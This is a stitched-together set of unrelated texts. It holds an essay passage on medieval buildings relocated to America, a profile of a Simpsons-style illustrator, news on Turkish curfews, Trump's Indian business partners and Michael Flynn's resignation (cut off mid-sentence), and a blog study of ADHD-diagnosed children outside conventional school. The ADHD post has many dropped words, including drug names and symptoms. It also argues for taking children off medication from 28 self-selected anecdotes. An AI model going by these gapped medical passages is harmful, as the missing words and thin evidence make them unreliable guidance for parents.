Britain. On January 25, 1926, the chairman of the Manchester Art Gallery Committee told a meeting of the Ancient Monuments Society that he had received a letter from an American correspondent. The letter asked if it was true that the great manor Agecroft Hall had been purchased and would be dismantled and shipped to America.  It was Warwick Priory all over again. The society’s secretary, John Swarbrick, immediately went to see the purported seller of the house, who confirmed that the rumors were true: A Mr. T.C. Jackson Jr., of Elizabeth, New Jersey, had purchased the hall and it would be moved to New Jersey imminently. Swarbrick warned in an interview that there was a craze for medieval buildings in the U.S., that the same people involved in Warwick Priory were responsible for the sale of Agecroft Hall, and that more purchases of the kind were underway.  Agecroft Hall, in Richmond, Virginia. (Photo: Fopseh/WikiCommons CC BY-SA 3.0)  Swarbrick was wrong about almost everything, though it was true that the architect Henry G. Moore participated in both purchases. Moore had found the building for Richmond businessman T. C. Williams, Jr., who wanted it for his Virginia—not New Jersey—estate. Williams was enthusiastic not so much about the (non-existent) colonial connections, but about the opportunity to recreate a pre-industrial haven along the lines of the medieval English village. There would be no skyscrapers, no intensity of urban industrial life, nothing but idyllic communities and authentically “Old English” country homes—the aesthetic apparently being a critical component of both the lifestyle and the values it implied.  Two great houses pillaged by Americans in less than six months was too many for the English. In 1926, the Manchester Guardian ran several dozen editorials and letters to the editor decrying the sale and removal of Agecroft Hall. One editorial called for stronger laws to protect British landmarks, calling it “a national loss”: “Warwick Priory is gone. Agecroft Hall is going. No building of decent age and character is safe from the danger of kidnapping.” Another editorial labeled the sale “a raid.” The sale of Agecroft Hall and Warwick Priory even prompted the House of Lords to debate a law forbidding the export of English cultural heritage (opponents weren’t comfortable telling people what they could do with their private property), though the Ancient Monument Protection Act was not strengthened until 1931.  The Elizabethan knot garden at Agecroft Hall. (Photo: Fopseh/WikiCommons CC BY-SA 3.0)  In spite of all this rancor, the kinds of arguments that the Weddells and Williams made seem to have struck a chord. Agecroft Hall, like Warwick Priory, had been in sad shape when it was purchased by an American. The Industrial Revolution left the hall uninhabitable. Coal pits surrounded the house; a freight railway skirted the buildings. One British writer turned his criticism of the sale inward, calling filthy, despoiled Agecroft Hall “too reproachful a jewel to leave in that ruined landscape.”  Medieval Buildings Home to Roost  Americans did, for the most part, make good on their promises to preserve these sites. By the 21st century, almost all of the medieval buildings brought to America had ended up in museums—some in well-endowed East Coast institutions with entire wings dedicated to medieval art and devoted to “transporting guests back in time to the Middle Ages,” others in small Midwestern galleries, with a handful of medieval pieces thanks to a local bigwig’s fleeting interest in the period. A few, like the Hearst buildings in California and Miami, are slightly more accessible, but are still framed by exhibitions and have a museum-y look-but-don’t-touch air about them for most visitors. The uniformity of the sites today stands in stark contrast to the variety of uses envisioned by those who brought medieval buildings to the U.S., or the experiences of the buildings throughout the 20th century: They were or might have been tourist traps, chapels, swimming pools, museums, private residences, or piles of rubble in warehouses and in parks.  By the late 20th and early 21st centuries, many different communities had become deeply invested in the medieval buildings that by then littered the American landscape. The effect of the historical bricolage sometimes borders on the surreal. Agecroft Hall was added to the National Register of Historic Places in 1978 because it reflected the “social and aesthetic ideals of upper-class Virginians in the 1920s,” not so much because of its medieval heritage. The final nomination form noted that it was “unaltered” and in its “original site;” its period “1900-” and significance fell under the “agriculture” and “community planning” categories.  Photograph of the central yard surrounded by the cloisters of the St. Bernard de Clairvaux Church, Miami. (Photo: Rolf Müller/WikiCommons CC BY-SA 3.0)  There were occasional calls for repatriation of the sites mentioned here to Europe, but the medieval European buildings eventually became too entangled in America to be so easily returned. In 1940, Spanish dictator Francisco Franco demanded the return of the monasteries that Hearst, in his words, stole, but nothing was done. More recent and sustained calls for repatriation of The Cloisters buildings to France faced criticism from no less than the eminent social theorist Jean Baudrillard, who used the medieval buildings in America as a case in his Simulacra and Simulation. Baudrillard thought that by this point “demuseumification [was] nothing but another spiral in artificiality”; The Cloisters were already artificial, returning Sant-Miquel-de-Cuixà to its original site would be even more so “a total simulacrum.” Leaving the cloister in New York “in its simulated environment … fooled no one,” while moving it was a “supplementary subterfuge,” a “retrospective hallucination.”  The retroactive reality Baudrillard described did not come to pass. The buildings continue to have vibrant and multiple lives within American communities today. At two sites that we visited, Ancient Spanish Monastery in Miami, and the Abbey of New Clairvaux in Vina, California, extensive preservation efforts were matched with a variety of contemporary roles. In these transposed places, community members meet, families pray, and people hold weddings, funerals, and, of course, yoga classes.  In the 1970s, the stones of Santa Maria de Óvila, at long last, caught a break. A Cistercian monk named Thomas X. Davis heard about the remains of the monastery and became interested in bringing them to his abbey, about three hours north of San Francisco in the small town of Vina, California. His timing overlapped fortuitously with the research of Dr. Margaret Burke, an art historian who received funding from the Hearst Foundation to study the stones. Burke began categorizing the stones, determining what part of the monastery they would have originally belonged to, and, in 1984, offered the city a comprehensive report of each stone, its condition, and whether it could be preserved. Meanwhile, the monks continued requesting that the city take their proposal seriously. After extensive discussions between the monks, the De Young Museum, and the city, the museum’s trustees agreed to relinquish control of the stones in 1992. Two years later, the stones began their journey to Vina—but even this short trip had its hurdles. Father Davis reported that on several occasions, individuals who opposed the stones leaving San Francisco pushed the stones off their pallets during the night, leaving workers to reload the trucks in the morning.  View from within the 800-year-old chapter house brought from Santa Maria de Óvila, now at the Abbey of New Clairvaux in Vina CA. (Photo: Frank Schulenburg/WikiCommons CC BY-SA 3.0)  Though the monks took the majority of the stones to Vina, some remnants stayed behind in Golden Gate Park. Debates about what constituted an “appropriate use” for the leftover stones continued into the 21st century. A 2001 investigation into the stones in SF Weekly noted that though most of the materials had gone to Vina, there had been an “odd truce” negotiated among the park, the De Young museum, and the monastery regarding the remaining abbey stones. For nearly 50 years, the gardeners of Golden Gate Park had access to their own private quarry of ancient limestone, which they could use whenever the park needed new retaining walls or landscape decoration. For instance, some of the stones became part of a decorative rock wall at the Strybing Arboretum library. “We think the wall that we constructed outside the library is the most sensitive use yet,” said Scott Medbury, a park employee. What one art historian labeled “the worst act of desecration of a medieval monument during the last half-century,” the city lauded as a practical and thoughtful use for the materials that had sat abandoned for the majority of the 20th century.  So what to make of the current state of these medieval buildings-as-museums? Certainly, good preservation practices will ensure a long life for the aged stones. But there is also a sense in which the medieval buildings have been deadened by their modern lives as display pieces. Old material given life through new use, called spolia, is, after all, very medieval. The altar at Sant-Miquel-de-Cuixà, the very heart of the religious life of the monastery, was itself made of part of a Roman column. Reuse did not erase the old meaning, it augmented the new one, though of course that column did not mean the same thing to a medieval person as to a Roman, nor is a modern library wall the same thing as a medieval one. Even now, many San Franciscans share memories of crawling over the medieval stones in their park as children, of the blocks as meeting places and landmarks. On the other hand, maybe the distinction between the museumified version of these places and their “freer” state is not so different, since New Yorkers are equally eager to describe their memories of childhood trips to The Cloisters.  But even in Vina, at a monastery that exudes austerity and age, traces of 2015 slip through. The monks, concerned about the challenges of recruiting young men to the brotherhood, have taken to Instagram (@monksofvina), where they update their followers on paintings in progress, their 3:30 a.m. prayer meetings, and the status of the harvest. Common hashtags include #monks, #cistercian, #monastic, and #monkslife. In Miami, too, the medieval buildings live modern lives. The site’s cloistered halls have become the backdrop for such pop culture gems as the spectacular flop of a 2011 Charlie’s Angels TV reboot, a scene in the 2012 film Rock of Ages in which Catherine Zeta Jones sings “Hit Me With Your Best Shot,” and Rick Ross’s music video for “Ten Jesus Pieces.”  But for every Victoria’s Secret catalog photo shoot, the Miami monastery also sees a steady flow of more ordinary life events—the monastery receives 50,000 visitors a year, and hosts 200 weddings annually. People are free to wander throughout the monastery when it isn’t being used for pilates or baptisms. The medieval history of the site isn’t absent from these events, though; it’s often omnipresent: one woman at the monastery enthusiastically told us that she had had three of her children baptized at the monastery because she was so impressed with the site’s history and the effort to move it from Spain to America. In typical Miami fashion, the conspicuous and the commonplace often careen wildly into one another—the priest of the monastery’s Episcopalian congregation mentioned that in the first wedding he officiated at the monastery he noticed a familiar-looking bridesmaid—Britney Spears. It’s hard to imagine a more American fate for these medieval stones.  Medieval America received funding from History in Action, an American Historical Association/Andrew W. Mellon Foundation initiative at Columbia University.
-Arya Stark from Game of Thrones Ygritte from Game of Thrones Margaery Tyrell from Game of Thrones Sansa Stark from Game of Thrones Melisandre from Game of Thrones Jesse and Walter White from Breaking Bad Hector Salamanca and the Cousins from Breaking Bad Skyler White from Breaking Bad Gus Fring from Breaking Bad Tortuga from Breaking Bad Hank Schrader from Breaking Bad Mike Ehrmantraut from Breaking Bad Tywin Lannister from Game of Thrones The Hound from Game of Thrones Hodor and Bran Stark from Game of Thrones Todd Alquist from Breaking Bad Don Draper from Mad Men Joan from Mad Men Roger Sterling from Mad Men Stringer Bell from The Wire Brother Mouzone from The Wire Omar Little from The Wire Chris Partlow and Snoop from The Wire Clay Morrow from Sons of Anarchy Saul Goodman and Huell from Breaking Bad Jax Teller from Sons of Anarchy Gemma from Sons of Anarchy Cosima Niehaus, Alison Hendrix, Beth Childs, Helena, and Katja Obinger from Orphan Black Trevor, Franklin and Michael from Grand Theft Auto V  It only takes him half an hour.  Each workday Adrien Noterdaem posts another popular character from pop culture – TV shows like Breaking Bad and The Wire, video games like Grand Theft Auto V – rendered in the style of everyone's favorite family from Springfield to his "Draw the Simpsons" Tumblr. It's a feat that’s possible largely because he's learned to turn out the illustrations at such a rapid clip.  "The idea was to do everything quickly, no time to waste," Noterdaem said in an email to WIRED. "It takes me around 30 minutes for one. I try not to spend more time. It's like an exercise, a goal I give to myself."  Noterdaem, who works by day as a creative director for the digital marketing agency Emakina in Brussels, has been a fan of Matt Groening's animated show for nearly 25 years, ever since he watched French-dubbed versions of the show as a kid. He's created around 120 Simpsons-esque images since April, and he recently gained notoriety with his series of Breaking Bad characters around the time of the series finale. "I didn't know at first that this stuff [would] have so much buzz around it," said the artist, who Simpsonized himself before ever taking on a pop culture figure.  Noterdaem, who made several new Simpsonized drawings for WIRED of our favorite female Game of Thrones characters (above) said he doesn't have a particular goal in mind with his character-a-day project, but he will continue to do it "as long as I enjoy it."  "I don't have a hidden agenda," he said. "Maybe I should have one. I don't know. If Matt Groening calls me, I definitely won't think long before taking a plane to L.A."  Images courtesy Adrien Noterdaem
-Long-term military curfews a human rights violation, says former ECHR judge  Bahadır Özgür - ISTANBUL  Long-term military curfews constitute a violation of the European Convention of Human Rights, former European Court of Human Rights (ECHR) judge Rıza Türmen has told daily Radikal, amid continued curfews in a number of towns in southeastern Turkey.Türmen, who is also currently an İzmir deputy for the main opposition Republican People’s Party’s (CHP), said long-term curfews constituted a “violation of state responsibility” and the ECHR would likely find Turkey guilty and rule for an interlocutory injunction of curfews.He listed the state’s responsibilities as being to not kill its citizens deliberately, to take necessary precautions when its citizens’ lives are in danger, to conduct efficient investigations when its citizens’ right to life is violated, and to avoid inhumane treatment as principles that have been violated over the past months.“Those people’s right to life is threatened because they cannot leave their houses. They cannot go to hospital, access water, etc.,” Türmen said.“The state fails to cater for these needs, despite its responsibility to do so,” he added, pointing out that unidentified security personnel who commit crimes in the region are not subject to investigations.In response to a question on the legal basis of military curfews, Türmen said declaring martial law or a state of emergency was necessary in order to enforce long-term curfews, but this has not been done in Turkey.Under current circumstances, state-appointed local governors’ mandates are used as the legal basis for curfews in southeastern towns.“Governors have no democratic mandate during mass violations of human rights,” Türmen said, adding that asserting such an authority violated both the ECHR and Turkey’s constitution.Türmen also warned that the European Convention of Human Rights was likely to find Turkey guilty over its current practices in southeastern districts and rule for an interlocutory injunction of curfews, which Turkey would be forced to immediately comply with.“If Turkey decides to disobey an ECHR order, the court would ask the European Commission to apply pressure. This would put Turkey in a difficult situation in the international arena,” he said.The CHP deputy also cautioned against lifting the immunities of Kurdish problem-focused Peoples’ Democratic Party (HDP) co-chairs Selahattin Demirtaş and Figen Yüksekdağ, arguing that this would further polarize Turkish society and worsen the situation.The Justice Ministry is set to prepare a report for the ECHR on the situation in southeastern towns where clashes between the security forces and outlawed Kurdistan Workers’ Party (PKK) militants continue to rage under military curfews.Diyarbakır Bar Association lawyer Muhammed Neşet Girasun and Batman Bar Association lawyer Erkan Şenses have applied to the ECHR on behalf of Ömer Elçi, resident of the southeastern town of Cizre, to end operations and lift the curfew, which has been in effect since Dec. 14, 2015.Ankara Bar Association lawyer Oya Aydın has also applied to the ECHR on behalf of six people in Cizre and in the Sur district in the center of the southeastern city Diyarbakır.Aydın demanded the lifting of the curfew announced by the Şırnak Governor’s Office on Dec. 14, 2015, and the ECHR demanded a response from Turkey before Jan. 8.The ECHR asked three particular questions to Ankara over the issue: The legal basis for the curfews; whether the needs of locals living in curfew-hit towns are met, including health services; and whether the state can provide a safe exit route to locals if they demand to leave areas under curfew.
-WASHINGTON — President-elect Donald J. Trump met in the last week in his office at Trump Tower with three Indian business partners who are building a Trump-branded luxury apartment complex south of Mumbai, raising new questions about how he will separate his business dealings from the work of the government once he is in the White House.  A spokeswoman for Mr. Trump described the meeting as a courtesy call by the three Indian real estate executives, who flew from India to congratulate Mr. Trump on his election victory. In a picture posted on Twitter, all four men are smiling and giving a thumbs-up.  “It was not a formal meeting of any kind,” Breanna Butler, a spokeswoman for the Trump Organization, said when asked about the meeting on Saturday.  One of the businessmen, Sagar Chordia, posted photographs on Facebook on Wednesday showing that he also met with Ivanka Trump and Eric Trump. Mr. Trump’s children are helping to run his businesses as they play a part in the presidential transition.
-[Note: Social counts reset to zero on this post.]  Several weeks ago I posted a call for stories about children who have been diagnosed with ADHD ( Hyperactivity Disorder) and have been homeschooled, unschooled, or "free schooled." I received 28 such stories and subjected them to a qualitative analysis.  My analysis of these stories suggests that (1) most ADHD-diagnosed kids do fine without drugs if they are not in a conventional school; (2) the ADHD characteristics don't vanish when the kids leave conventional school, but the characteristics are no longer as big a problem as they were before; and (3) ADHD-diagnosed kids seem to do especially well when they are allowed to take charge of their own . In what follows I will elaborate upon and support each of these conclusions primarily with quotations from the stories. But, first, here are some numbers concerning whom the stories were about and who wrote them.  Of the 28 stories:  - 19 were about boys and 9 were about girls.  - 26 were written by a parent of the ADHD-diagnosed child; the other two were written, respectively, by the diagnosed person himself (who is now a 24-year-old man) and by an older sister of the diagnosed person.  - 24 were about children who were diagnosed with ADHD through a formal clinical procedure; the other 4 were about children who were labeled by medical or school officials as "ADHD" but whose , while agreeing that the child showed the full set of ADHD characteristics, chose not to proceed with formal diagnosis.  -21 were about children who started their education in a conventional school (at least through part of kindergarten) and then left conventional schooling; the other 7 were about children who had never attended a conventional school.  -21 described their nonconventional schooling as "homeschooling," 5 described theirs as "unschooling," and 2 described theirs as "alternative schooling" (one was described as a small private school in a home, "similar to homeschooling," and the other as "loosely based on Sudbury Valley").  And now, here are the three conclusions, along with some of the quotations that led to each conclusion.  Conclusion 1: Most children who had been medicated for ADHD while in conventional schooling were taken off of the drugs when removed from conventional schooling, and those who were never in conventional schooling were never medicated.  Research studies have regularly revealed that most children who attend a conventional school and are diagnosed with ADHD take stimulant drugs ( reuptake inhibitors) as treatment.[1] That is not true of this sample of ADHD-labeled children outside of conventional school. Of the 28 children in this sample, 13 were never medicated (these were mostly children who were never in a conventional school or who were removed from conventional school very shortly after the diagnosis), 9 were medicated for at least part of the time that they had been in a conventional school but were removed from after removal from school, and only 6 (21% of the full sample) were being medicated at the time the story was written.  Of the six who were medicated at the time the story was written, one was on Strattera (a non-stimulant norepinephrine reuptake inhibitor), one had just started his first day of homeschooling and was taking Vyvance (a stimulant), and the remaining four were still on stimulants even though they had been homeschooled for a year or more.  Here is a sample of comments made concerning children who had been removed from conventional school and taken off of stimulants. (Each bulleted comment concerns a different child. The numbers in parentheses refer to the story number in my notes):  • (#13): "We decided [when he was in 3rd grade in public school] to switch from Strattera to Adderall. We tried various doses but weren't getting what we needed, so we tried Vyvanse and Concerta at various doses. They just weren't working for him. There seemed to be a short-term improvement, or at least a perceived improvement but it really didn't fix the problem. In all this, his anxiety was paralyzing, so, of course, we ended up on Prozac. ... As parents, it was exactly where we didn't want to be, having a drugged kid just to keep him in school. ... he was being pulled from class daily for being disruptive--making noises, interrupting teachers, asking to leave. He and his special ed. teacher were in constant battle. After a particularly ugly IEP (in January, 2009) we pulled the plug. We finished the year with homeschooling and he made more progress in 3 months than he had made in 3 years of traditional public school. We continued with the meds for another month or so but discontinued them from that point on."  • (#23): "My little brother was put on ADD medication at the age of 7, because he was not able to focus well in school or in his martial arts classes. I saw his immediately dull when they put him on the drugs, but he was much better able to function in organized learning settings. When he was 15, though, he took himself off of the meds, and only then did he realize, and begin to vocalize, that he had been having paranoid delusions for years as a result of the medications. As a 10 year old, he was terrified during every shower b/c he thought terrorists were poisoning the water. My brother wasn't so disruptive on the medications, but he never excelled in school until his last two years of high school, when he attended a private school that was loosely based on Sudbury Valley. Now, he is a fantastic musician, is attending college, and has never had any more problems with delusions or . He hates the drugs he was put on and has a lot of lingering about it to this day."  • (#7) "At age 8 ½ we decided to try Adderall, because he was struggling with and learning... He developed severe at age 10 [while on Adderall]. He was placed on a few more drugs. Each drug seemed to make him better for a few months, and then worse. When a drug caused a side effect, he would be given another one to combat the side effect. ... He developed a B12 deficit because of the Adderall. This gave him obsessive- , and we had to give him B12 injections. ... Then [after altering his and removing toxins from his ] we weaned him off of the Adderall. There was no difference in his focus or activity at that point. He was/is fine. We continue to homeschool him. ... It was just the best thing we could have done for our child. He is now 16 and planning to go to college."  • (#22) "By 4th grade (this time a private school w/ an advanced curriculum) her 7 teachers WANTED her tested. We tried Ritalin for a few months, but it only resulted in a daytime compliant zombie that wanted to work even harder at night to pursue her knowledge. By spring they asked for a conference, refunded our deposit for the coming year .... They agreed she was a classroom mgmt problem, because she could do anything but listen." [The story goes on to describe the success of homeschooling, without drugs, and the fact that she has been accepted to a four-year college.]  • (#1) "And now that we are homeschooling (and he is thriving academically, socially, and behaviorally), medication is no longer a subject of consideration. We are excited about homeschooing--it has changed our lives for the better; we have our son back."  • (#2 concerning a boy who had been on various drugs in 3rd & 4th grades in public school after a previous period of homeschooling without drugs): "We pulled him out of school and went back to homeschooling. I took him off the meds to get a baseline on his behavior Things improved for him so quickly that I never restarted Rx medications."  • (#14) "As a child, around age 5, I was diagnosed with ADHD. I was put on Ritalin and continued on the drug until the age of 11. After coming off the drug my parents noted that I was less angry and generally happier with what was going on around me, as well as less prone to tantrums. At the end of 5th grade my parents made the to homeschool me. I was homeschooled from grades 6 to 10 [without drugs] and during that time I pulled ahead in my math work and got A's on all of my tests. I was able to study how I wanted to, fidget when I wanted to. . .. Then [beginning with grade 11] I was returned to school [for some but not all courses]. ... I was [then] put back on a new form of Ritalin. We tried it for a month, and I went into a severe depression from the effects. After a month I was pulled back off it and that was the end of talks about drugs for the condition. ... I am now 24, married, and expecting a child. I went to college after my senior year ... and joined the Guard. I have noticed in the course of my life that I am calmer for the most part now. I still have urges, ... not what I consider bad urges, but urges to say what is on my mind and to express an opinion whenever I can. ... Overall, I am happy. I my life, my wife and my family."  In contrast to these quotations, those who have kept their child on a stimulant after starting homeschooling report the drug to be very helpful. Here are the three most positive pro-drug comments:  • (#6) "We tried Concerta, but he went crazy. Eventually we tried Strattera (a non-stimulant ADHD medication, a norepinephrine reuptake inhibitor) and it helped so much. He now has that second to think about what he's going to do and he makes better choices. No more temper tantrums, throwing things, hitting, or reckless behavior."  • (#10) "Off meds she is inattentive, argumentative, and unpleasant to be with. On meds she is productive, fun, and kind. She does have the side effect of suppression, so we have to get creative to get enough calories into her. That is easily accommodated, though, and we have been happy with her progress both socially and academically in the three years that we have homeschooled."  • (#27) "Once the drug [Focalin XR-a stimulant] kicked in, everything changed. He not only grasped concepts, he remembered them. He flew through three years of math in six months. He will start high school in the fall, with over 20 hours of high school credit, and honors level high school science under his belt [from his homeschooling years]. He is becoming the brilliant kid I only saw in flashes before the drugs."  Conclusion 2: The children's behavior, moods, and learning generally improved when they stopped conventional schooling, not because their ADHD characteristics vanished but because they were now in a situation where they could learn to deal with those characteristics.  Only two or three of the respondents reported that the ADHD-like behavior disappeared when the child was removed from conventional school. The great majority said or implied that such characteristics remained but were no longer such a big problem, primarily because, out of school, the child could be active and self-directed without being disruptive and had opportunities to learn how to cope with his or her personality characteristics. Here are some relevant quotations.  • (#16) "He learns fine as long as he is moving. I have the feeling that in a formal mass education setting, the focus would still be on getting him to sit still. As it is, he would be entering 8th grade in the local school, but he's doing sophomore/junior level work and even has some AP credits. He's teaching himself German and Latin because he wants to. I have no desire to squelch his joy of learning just to get him to sit still! ... He's well adjusted socially and behaves appropriately. However, when he's with other kids with ADHD, we notice they sort of snowball each other's behaviors."  • (#17). "She is a terrific free-range learner. She is sometimes afraid that she is 'behind' and will find websites and books describing what she should know and just devour them. She was reading on an 8th grade level at 3rd grade 3 years ago, so she's reading somewhere on a high school level now. ... Her behavior is normally excellent. Sometimes she has outbursts of exuberance that can be both inconsiderate and difficult to stop, like running through the house shouting late a night."  • (#18). "I think the real advantage of homeschooling has been in the development of my son's social skills. He is a thoroughly nice person, both kind and empathetic. I just don't see how he could have learned to as well at a school where he was being made to feel that he was unacceptable all day."  • (#12, about a boy who at age 5 was diagnosed with ADHD, Dysfunction, and Pervasive Developmental Disorder and who began homeschooling shortly after that): "Today [at nearly age 16] he is an articulate, and confident young man. He takes no medication ... has no odd behaviors ... and impresses every adult he meets. ... His learning style is nothing that could ever be harnessed in the classroom. He almost intuits how to fix everything from cars to air conditioners to ..." (This writer goes on to describe how her son is preparing himself for a through apprenticeships in the trades and at an antique store, in ways that would not have been possible in school.)  • (#13) "His anxiety is gone [since leaving public school and starting homeschooling]. As far as schooling goes, he definitely has a hard time completing his work. He is indeed easily distracted. ... He's still impulsive and demanding but we can handle it much better than the school could and we're all less for it. He takes some classes through local groups and museums and still has a hard time attending to the teachers, but he manages now that it isn't an all-day everyday prospect."  • (#20) "As I mentioned, my son's friendships are always volatile. While he loves being with them, his tendency to 'lose it' or be 'hyper' often gets him into scrapes and he will quite often fall out with them. Being out of school has allowed him to walk away when this happens, to come home, reflect on the situation, talk about it and to not engage in the downward spiral of anger and resentment through being with them all day every day. He is learning about life, about life skills and, most importantly, how to be a happy and fulfilled adult."  • (#24) "... her public schools years of K-3 were mostly disastrous.. . . In response to repeated encouragement by the resource teacher, when she was in third grade we took her to a psychologist and came home with a diagnosis of ADHD and a prescription for Metadate. We tried it for about a week, and the testing results did show a noticeable improvement in areas such as short-term (from 0/10 to 5/10 on one test, for example). Nevertheless, we couldn't bring ourselves to continue the meds: she was awake until very late at night, had a glazed look in her eyes, developed a small rash on her thighs, etc. ... Instead we started her for fourth grade in a small private alternative school for grades K-7/8. It has about 14 or 15 kids and is like a big home-schooled family. ... Getting her out of public school was the best decision we could have made. ... And as for us as parents: before we bailed out for the world of alternative schooling, we felt like we were raising not a child, but rather a set of problems in need of a set of solutions. No more."  • (#28). "We started homeschooling in kindergarten. It was a disaster. Sitting down for 10 minutes a day for a lesson was like pulling teeth. She would weep and cry that she hated school. ‘Do you hate stories?' No. ‘Do you hate games?' No. ‘What do you hate?' Sitting DOWNNNNN! (Wail). I persevered through kindergarten, but with nothing to show for progress after a year of trying. For 1st grade I modified my style a little and let her do things like play Legos, doodle, or ‘sew' while we read. It helped a little. ... By 2nd grade I had given up. ... She was not learning to read. .... Then one day I walked in and she was reading The Chronicles of Narnia. It had just clicked, at around age 8. ... She still misspells atrociously. And her behavior in groups can still be very wild--she is so excitable and dramatic and sometimes scares other children a little. ... As I've gotten to know her better, I find it more and more odd that we label these children the ‘learning disabled.' She does naturally the things other children find so hard--word problems in math, seeing large complex solutions to problems, being a creative problem solver, having a unique perspective on a book she read. The things that are hard to TEACH. And she struggles with the things that are so easily remedied.... calculators and spell-check anyone?"  Conclusion 3: Many of these children seem to have a very high need for self-direction in education, and many "hyper focus" on tasks that interest them.  A staff member who works at one of the Sudbury model schools emailed me this interesting comment about kids who had been diagnosed with ADHD before coming to that school:  "The ADHD label is applied to two very different sorts of kids. One type really has "Attention Surfeit Disorder." Most of these get deeply involved in exactly what they want to do... They do their thing--with other kids when it overlaps with other kids' interests, and without other kids when they are caught up in something that other kids aren't interested in. They get labeled ADD not because they can't attend but because they have no coping mechanisms for enforced boredom..... The other type are simply physically active to the point of being problematic when quiet is called for. These kids may get themselves ejected from JC [Judicial Committee] or the School Meeting when they can't control themselves, and generally have long records for Running and Roughhousing and for Disturbingly Noisy activities. A combination of not calling unduly for quiet (most of these kids can be outside running and roughhousing to their hearts' content most of the time without bugging anyone) and a fair and reasonable JC that helps these kids discern time and place makes this problem less for us and gives the kids a sense of justice and time and place that informs them and lets them develop the ability to shift gears when quiet and serene are called for."  In the sample of stories I received, many of the kids seem to fall clearly into the first category. They seem to be kids who have an even greater need for self-direction in education than do typical kids. (If you are a regular reader of my blog, you know my view that all normal kids learn better in settings where they are in control of their education than in settings where someone else is in control.) In this regard, it is not surprising that the few kids in this sample who were still on ADHD medications during homeschooling seemed to be primarily those whose homeschooling was structured by the parent and modeled after the education one would receive in a conventional school.  A number of the quotations that I have already presented allude to the ADHD-labeled child's need to control his or her own learning. Here are a few more:  • (#3) "She chooses her own subjects and learning material daily. ... She learns much better if she can follow an interest and then hyper focus on it. She may pick something different, and seemingly unrelated, every day, and then tie that randomness into a major project that she will work on for a month."  • (#5) "It seems to be a matter of interest. If he is into something he will be focused and attentive for long stretches, if not he gets antsy. As an example, at our local homeschool conference a robotics club had a booth and had a robot there. My son would have stayed there asking questions about the robot for the rest of the afternoon if I had not moved him along."  • (#19) "We've been unschooling for several years now. He is 11 .... He is energetic and rambunctious at times, but often finds an interest that holds his attention for hours on end. The only time he fits the ADHD diagnosis is when he is bored or uninterested in something. Or he will be particularly rambunctious after sitting for long periods of time (whether he was engaged or bored while sitting still doesn't matter)."  • (#20) "After a while [of parent-directed homeschooling] it became impossible for him to learn. His anxiety increased to a level that we were forced to allow him to take anti-anxiety drugs, which he did for a few months.... I then stumbled on self-directed learning/unschooling and have not looked back! ... It all made perfect sense. My son makes choices about what he wants to learn, he makes his own decisions about when and how he will learn it, he has learnt to define his own boundaries and takes responsibility for his own learning. If he is interested in something, we facilitate and provide resources, links, take him to places that supply the stuff he needs. He has taken a huge interest in music technology. ... He has produced some amazing music, he has found out about a variety of things he is interested in, he has self-defined interests which avoid institutions. . . . He is , and he knows what choices to follow more than we do. Never would I have believed last year, when everything was so bleak and , that a year on, everything would be looking so rosy, and so absolutely fascinating as we follow just what it means to give your child the freedom to be themselves."  • (#22) "Our homeschooling started out with a curriculum program that she hated following. She would just want to read all of the history book . . . The piecemeal, parsing out of knowledge that is "curriculum" always galled her. We started unschooling and everything fell into place. .... The "problem" is that she loves knowledge, wants to go at her own pace (fast), ignoring some subjects while pursuing others, and delving into specialized interests no one else her age has."  • (#21) "We began unschooling about four years ago. ... Today she's 14.5 years old... She is creative, responsible, fun to be around. She has no trouble reading and is skilled at using math in her everyday life. ...She has no signs of the problems the school district saw in her when she was 9 years old. // She was in a large, chaotic class with several children who required one-on-one aids, the district was in the first year of implementing Everyday Math (which I called Everyday Crying) and the books they were giving the children to read, IMO, were boring. Tests made her and she was overloaded sensorily by the noise and smells at the school, especially in the cafeteria. // Since she's been home she's just bloomed. People who know her find it hard to believe that anyone ever questioned her or ability to focus. She's smarter and more responsible than many adults I know."  ------  Before concluding, I should say that this is obviously just a preliminary study. It is, however, as far as I can tell, the only study that anyone has conducted to date concerning ADHD-diagnosed children's abilities to learn, and to cope without drugs, outside of the conventional school environment. My hope is that this preliminary study will draw the attention of the research community so that more formal, large-scale studies will be conducted. As a culture we are so used to thinking of school as the normative environment for children that we rarely even think about the possibility of children learning and developing well outside of that environment. I am very to those who responded to my call for stories and took the time to write out, so clearly, the experiences of their ADHD-labeled son or daughter.  --------------------------------  Notes  [1] See, for example, Mayes et al (2009), Medicating Children: ADHD and Pediatric Mental (Harvard University Press).  --------  For more on children's natural ways of learning, see Free to Learn. Also, join me on Facebook and see alternativestoschooling.com.
-The White House’s national security adviser resigned Monday night and President Trump tapped retired Lt. Gen. Joseph Keith Kellogg Jr. to serve as acting adviser in his place, in the first major shakeup of the still-young administration.  Michael Flynn, the ousted adviser, admitted that he misled Vice President Mike Pence on the contents of phone calls Mr. Flynn placed to the Russian ambassador, in which they apparently discussed sanctions.  At the time, though he was working for the Trump transition team, Mr. Flynn was a private citizen, and such communications to hash out government policy are illegal.  SEE ALSO: Text of Michael Flynn’s resignation letter from national security advisor post  “Unfortunately, because of the fast pace of events, I inadvertently briefed the vice president-elect and others with incomplete information regarding my phone calls with the Russian ambassador. I have sincerely apologized to the president and the vice president, and they have accepted my apology,” Mr. Flynn said in a resignation letter released by the White House.  Top officials, apparently relying on Mr. Flynn’s account of the conversation, issued a public denial of reports that he had discussed the sanctions imposed on the Kremlin by the outgoing Obama administration over Moscow’s efforts to influence the U.S. election in Mr. Trump’s favor.  But Mr. Flynn later told White House officials the issue of sanctions may have come up. That revelation left the position of Mr. Flynn, a retired lieutenant general, untenable.  SEE ALSO: Trump says the ‘real story’ of Flynn’s downfall is ‘illegal leaks’ out of D.C.  Democrats said Mr. Flynn had to go, but said it doesn’t end the questions swirling around the Trump team over its promises to the regime in Moscow.  “These alleged contacts and any others the Trump campaign may have had with the Kremlin are the subject of the House Intelligence Committee’s ongoing investigation,” said Rep. Adam Schiff of California, the ranking Democrat on that panel.  “Moreover, the Trump administration has yet to be forthcoming about who was aware of Flynn’s conversations with the ambassador and whether he was acting on the instructions of the President or any other officials, or with their knowledge,” he said.  The Justice Department had warned the White House weeks ago of the conversations and the discrepancy between the public statements and the reality of Mr. Flynn’s behavior, according to the Associated Press.  As the reports piled up, Democrats on Capitol Hill had demanded Mr. Flynn be suspended from his security clearance and fired for his actions.  Mr. Flynn, who was fired from his job as chief of the Defense Intelligence Agency by President Obama in 2014, had been a supporter of Mr. Trump’s during the campaign. He even spoke at the Republican National Convention last summer.  After Mr. Trump’s victory in November, Mr. Flynn was one of the first personnel announcements Mr. Trump made, tapping his booster to be national security adviser.  But over the last few days the White House had given conflicting signals about his job. One 